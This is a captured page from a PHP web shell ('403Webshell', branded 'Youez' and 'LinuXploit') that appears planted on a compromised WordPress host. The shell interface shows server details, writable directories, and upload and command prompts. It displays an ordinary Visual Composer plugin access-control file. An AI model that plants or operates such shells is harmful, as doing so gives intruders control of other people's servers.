403Webshell
Server IP : 54.36.91.62  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux webm021.cluster127.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : uxhactp ( 169076)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/uxhactp/www/wp-content/plugins/visualcomposer/visualcomposer/Helpers/Access/Traits/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/uxhactp/www/wp-content/plugins/visualcomposer/visualcomposer/Helpers/Access/Traits/Part.php
<?php

namespace VisualComposer\Helpers\Access\Traits;

if (!defined('ABSPATH')) {
    header('Status: 403 Forbidden');
    header('HTTP/1.1 403 Forbidden');
    exit;
}

/**
 * Class Access.
 */
trait Part
{
    /**
     * @var string
     */
    protected static $partNamePrefix = 'vcv_access_rules__';

    /**
     * Current working part of access system.
     * @var string
     */
    protected $part;

    /**
     * Get part for role.
     *
     * @return bool
     */
    public function getPart()
    {
        return $this->part;
    }

    /**
     * @return string
     */
    public function getStateKey()
    {
        return self::$partNamePrefix . $this->getPart();
    }

    /**
     * @param $data
     *
     * @return $this
     */
    public function checkState($data)
    {
        if ($this->getValidAccess()) {
            $this->setValidAccess($this->getState() === $data);
        }

        return $this;
    }

    /**
     * @return $this
     */
    public function checkStateAny()
    {
        if ($this->getValidAccess()) {
            $args = func_get_args();
            $this->checkMulti([$this, 'checkState'], true, $args);
        }

        return $this;
    }

    public function getAvailableParts()
    {
        return vcfilter(
            'vcv:access:role:parts',
            [
                'post_types',
            ]
        );
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit